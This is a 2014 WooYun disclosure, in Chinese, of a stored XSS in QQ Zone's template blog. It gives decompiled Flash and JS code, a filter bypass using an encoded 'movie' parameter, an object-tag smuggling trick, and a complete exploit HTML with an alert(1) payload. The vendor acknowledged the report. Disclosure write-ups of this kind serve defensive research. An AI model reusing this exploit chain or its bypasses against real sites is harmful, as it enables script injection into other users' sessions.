漏洞详情

披露状态:

2014-02-19: 细节已通知厂商并且等待厂商处理中
2014-02-20: 厂商已经确认,细节仅向厂商公开
2014-03-02: 细节向核心白帽子及相关领域专家公开
2014-03-12: 细节向普通白帽子公开
2014-03-22: 细节向实习白帽子公开
2014-04-05: 细节向公众公开

简要描述:

下定决心,不怕牺牲,排除万难,去争取胜利。

为了找个XSS,鼠标都找坏了,单击变双击了。。。 T T 。。

在本例中,可以看到一个FLASH是如何在同一个页面中被调用两次来完成两种不一样的鸡肋功能,最终导致XSS的。

详细说明:

1. 对于flash的addCallback与lso结合的案例,之前乌云已有不少案例了。



但实际上,addCallback的返回值不一定是要从lso来读取,也可以是其它来源。



不难假想以下存储型XSS的场景。



用户-->存储数据-->数据被读取进入flash-->数据进入addcallback返回值。



2. 带着上面这个假想,对QQ空间日志功能中所使用的FLASH文件进行逐个排查,我们定位到了以下这个文件。



http://edu.qzs.qq.com/qzone/app/blog/v6/swf/MusicPlayer.swf ,反编译后,可以看到以下两行代码:



ExternalInterface.addCallback(this.setSoundFunName, this.__onSetSoundFunName);
ExternalInterface.addCallback(this.getSoundFunName, this.__onGetSoundFunName);





其中,我们可以注意 __onGetSoundFunName 函数的返回值类型是Object,如下所示:



private function __onGetSoundFunName():Object{
var _local2:String;
var _local1:Object = this.musicPlayer.getSound();
if (((!(!(_local1))) && (!(!(_local1.url))))){
_local2 = [_local1.url, _local1.song, _local1.singer, _local1.autoPlay].join("|");
} else {
_local2 = "";
};
return (_local2);
}





返回值类型是OK的,那么这个返回值我们是否可以控制呢? 根据以上代码,可以看到是 _local1.url, _local1.song ... singer 什么的,

不用去跟踪代码,也大概能猜出,是歌曲地址,歌曲名称,歌手名称等,



而我们在写模板日志,添加歌曲后,发送的请求中,有以下部分:



<div name="music" data="http://stream18.qqmusic.qq.com/31021594.mp3|歌名|歌手名|0">





不难发现,这个data属性中的数据,正好对应 __onGetSoundFunName 函数返回值中的4个值。



根据之前的知识,我们不难构造出利用代码。



....
....
<div name="music" data="http://stream18.qqmusic.qq.com/31021594.mp3|aaaa\&quot;;alert(1);//|AA|0">
...
...





3. addCallback要能成功被利用,还有一个关键就是,页面必须调用 addCallback 所注册的函数,也就是说,



如果FLASH中有一个callback

ExternalInterface.addCallback("xxxx", this.__onGetSoundFunName);





那么JS中必须调用一次 :



document["flash ID"].xxxx()





才能导致XSS。



在本例中,根据JS代码中的定义, getSoundFunName = getSound,即需要执行一次下面的代码:



document["flash ID"].getSound()





4. 为什么要强调这个呢? 因为,在查看日志的时候,页面并不会执行 getSound函数, 这导致我们精心构造的addCallback xss无法被执行。查看了下代码,发现getSound函数,只有在编辑日志,点提交按钮的时候才会执行,



编辑日志。。这。。。显然是自己X自己的节奏。。



5. 那我们就这么放弃了吗? 显然不是,我们得想办法让日志中,执行一次 document["flash ID"].getSound(),方法呢?



直接插入JS代码来执行这句?如果能直接插入JS,我们还用上面这么费力吗?不可取。



事实告诉我们,鸡肋+鸡肋才是王道。



这里我们还注意到:http://edu.qzs.qq.com/qzone/app/blog/v6/swf/MusicPlayer.swf 中还有下面的代码。



public function flashInit():void{
if (ExternalInterface.available){
ExternalInterface.call(this.flashInitFunName);
};
}





而 this.flashInitFunName 来自于



ExternalManager.instance.flashInitFunName = ((this.replaceNotAvaCha((_local2["flashInitFunName"] as String))) || (ExternalManager.instance.flashInitFunName));





_local2 相当于 root.loaderInfo.parameters,即 flashInitFunName 来自于外部参数 flashInitFunName ,但传入后经过了replaceNotAvaCha函数的过滤。



private function replaceNotAvaCha(_arg1:String):String{
_arg1 = ((_arg1) || (""));
return (_arg1.replace(/[^a-zA-Z0-9_\.]/g, ""));
}





也就是说,flashInitFunName只允许 数字,字母,下划线和小数点,直接用这个参数来XSS是不行了,但是对于我们调用 document["flash ID"].getSound() 的目的来说,却是完全足够了。



这里 FLASH播放器的ID是 TemplateBlog_MusicPlayer12_flash



那么我们要让FLASH执行 getSound ,需要在当前页面中再插入下面一个FLASH文件即可。



http://edu.qzs.qq.com/qzone/app/blog/v6/swf/MusicPlayer.swf?flashInitFunName=document.TemplateBlog_MusicPlayer12_flash.getSound



为了保证被插入的FLASH不被其它因素影响到JS的执行,我们将其它外部参数都补全。



http://imgcache.qq.com/qzone/app/blog/v6/swf/MusicPlayer.swf?mode=view&skinUrl=http://imgcache.qq.com/qzone/app/blog/v6/swf/Skin1.swf&flashInitFunName=document.TemplateBlog_MusicPlayer12_flash.getSound&soundPlayStateCallBackFunName=window.TemplateBlogMusicPlayer.soundPlayStateCallBack&openSoundSelectCallBackFunName=window.TemplateBlogMusicPlayer.selectMusic&setSoundFunName=setSound&getSoundFunName=getSound&statisticsFunName=window.TemplateBlogMusicPlayer.statistics



6. 最后,我们就是要往日志中插入上面这个FLASH了。。但是显然这个步骤也是十分困难的。为什么困难呢?



6.1 日志中是不允许随意插入指定URL的FLASH的



6.2 模板日志中,会对日志的内容进行parse,parse之后,object标签会被无视掉,从而不会被输出到日志DOM中。



7. 带着6的2个问题,我们一个一个来解决,首先是第一个问题:



我们借助 QQ空间某功能缺陷导致日志存储型XSS - 13 ( WooYun: QQ空间某功能缺陷导致日志存储型XSS - 13 )中提到的技巧,将movie写为 mov&#x69;e,即可绕过腾讯的限制,具体原理不在此贴再说一遍了。。。。



<object  codeBase="http://fpdownload.macromedia.com/get/flashplayer/current/swflash.cab#version=8,0,0,0" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="410" height="100" bgcolor="#ffffff" menu="true" allowScriptAccess="always" name="musicFlash**" class="blog_music">
<param name="bgColor" value="#ffffff" />
<param name="mov&#x69;e" value="http://imgcache.qq.com/qzone/app/blog/v6/swf/MusicPlayer.swf?mode=view&skinUrl=http://imgcache.qq.com/qzone/app/blog/v6/swf/Skin1.swf&flashInitFunName=document.TemplateBlog_MusicPlayer12_flash.getSound&soundPlayStateCallBackFunName=window.TemplateBlogMusicPlayer.soundPlayStateCallBack&openSoundSelectCallBackFunName=window.TemplateBlogMusicPlayer.selectMusic&setSoundFunName=setSound&getSoundFunName=getSound&statisticsFunName=window.TemplateBlogMusicPlayer.statistics" /><param name="bgColor" value="#ffffff" />
<param name="movie" value="http://edu.qzs.qq.com/music/musicbox_v2_1/img/MusicFlash.swf" /><param name="data" value="http://edu.qzs.qq.com/music/musicbox_v2_1/img/MusicFlash.swf" />
<param name="wmode" value="transparent" /><param name="menu" value="true" /><param name="allowScriptAccess" value="always" />
</object>





这样一来,我们可以在普通日志中插入这个FLASH了。



8. 但是我们的场景是模板日志, 模板日志中会有以下代码:



function _Callback(templateHtml,opt) {
var reg = /<div class="(blog_details_[\d]*?)">[\s|\S]*<\/div>/ig;
g_oBlogContent = g_oBlogContent.replace(reg,function($0,$1) {
TemplateBlogParser.parseData(g_oBlogContent);
var result = TemplateBlogParser.parse(templateHtml,opt);
return '<div class="' + $1 + ' blog_template"><div id="temp_container" class="blog_template_cont">' + result.html + "</div></div>";
});
g_oContentDom.innerHTML = g_oBlogContent;
TemplateBlogParser.start();
_Callback = null;
}





其中g_oBlogContent是原始日志内容,经过replace中的parseData之后,我们插入的object标签就会没了。



为了解决这个问题,我们看看 TemplateBlogParser.parseData 函数



parseData: function(content, opt) {
opt = opt || {};
var objectReg = /<object[\s|\S]*?<\/object>/ig;
TemplateBlogParser.temporaryData.objects = content.match(objectReg);
TemplateBlogParser.titles = Title.parse(content);
TemplateBlogParser.imgs = Pic.parse(content).concat(TemplateBlogParser.imgs);
TemplateBlogParser.texts = Text.parse(content, opt);
TemplateBlogParser.music = MusicPlayer.parse(content);
TemplateBlogParser.multiImageData = MultiImageController.parse(content);
},





content参数被传入,继续查看其中的调用,当我们看到content进入 Title.parse后有希望:



11111111.jpg





由上图可见,<div name="title>xxxx</div>之间的部分会被当作结果返回,这样一来,我们可以把我们的object标签放入



<div name="title"><object 标签> ... </object></div>



最后<object 标签> ... </object>将会当作内容返回,并输出到DOM中。



9. 综上所述,同一个FLASH,被日志自带功能嵌入一次,执行setSound,插入我们恶意构造的XSS代码, 又被我们通过技巧嵌入一次,实现getSound的调用。



完整的利用代码如下:(发表模板日志时,html字段修改为以上内容,发表。效果见漏洞证明)



<div class="blog_details_20120222"><div name="title"><object  codeBase="http://fpdownload.macromedia.com/get/flashplayer/current/swflash.cab#version=8,0,0,0" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="410" height="100" bgcolor="#ffffff" menu="true" allowScriptAccess="always" name="musicFlash**" class="blog_music">
<param name="bgColor" value="#ffffff" />
<param name="mov&#x69;e" value="http://imgcache.qq.com/qzone/app/blog/v6/swf/MusicPlayer.swf?mode=view&skinUrl=http://imgcache.qq.com/qzone/app/blog/v6/swf/Skin1.swf&flashInitFunName=document.TemplateBlog_MusicPlayer12_flash.getSound&soundPlayStateCallBackFunName=window.TemplateBlogMusicPlayer.soundPlayStateCallBack&openSoundSelectCallBackFunName=window.TemplateBlogMusicPlayer.selectMusic&setSoundFunName=setSound&getSoundFunName=getSound&statisticsFunName=window.TemplateBlogMusicPlayer.statistics" /><param name="bgColor" value="#ffffff" />
<param name="movie" value="http://edu.qzs.qq.com/music/musicbox_v2_1/img/MusicFlash.swf" /><param name="data" value="http://edu.qzs.qq.com/music/musicbox_v2_1/img/MusicFlash.swf" />
<param name="wmode" value="transparent" /><param name="menu" value="true" /><param name="allowScriptAccess" value="always" />
</object></div><div name="title">bbbbbb</div><div name="text" style="font-size:14px">bbbbbbb</div><img name="pic" style="display:block;" width="200" height="200" alt="图片" position="0_0" isDefaultPhoto="1" rotation="0" scale="0" src="http://edu.qzs.qq.com/qzone/space_item/orig/10/97754/module_1.jpg" /><div name="title">ccccc</div><div name="text" style="font-size:14px">cccccc</div><img name="pic" style="display:block;" width="200" height="200" alt="图片" position="0_0" isDefaultPhoto="1" rotation="0" scale="0" src="http://edu.qzs.qq.com/qzone/space_item/orig/10/97754/module_2.jpg" /><div name="title">ddddddd</div><div name="text" style="font-size:14px">dddddd</div><img name="pic" style="display:block;" width="200" height="200" alt="图片" position="0_0" isDefaultPhoto="1" rotation="0" scale="0" src="http://edu.qzs.qq.com/qzone/space_item/orig/10/97754/module_3.jpg" /><div name="MultiImageController" data=""></div><div name="music" data="http://stream18.qqmusic.qq.com/31021594.mp3|aaaa\&quot;;alert(1);//|AA|0"><object style="display:none" ubb="http://stream18.qqmusic.qq.com/31021594.mp3|aaaa\&quot;;alert(1);//|AA|0" class="blog_music none"></object></div></div>





10. 当然,同上一篇 13 中一样,由于chrome下classid的问题,导致无法在chrome下执行,本例测试环境为 win7 + ie8

漏洞证明:

win7 + ie8



222222.png

修复方案:

暂无修复建议。

版权声明:转载请注明来源 gainover@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-02-20 16:10

厂商回复:

非常感谢您的报告,问题已着手处理,感谢大家对腾讯业务安全的关注。如果您有任何疑问,欢迎反馈,我们会有专人跟进处理。

最新状态:

暂无


漏洞评价: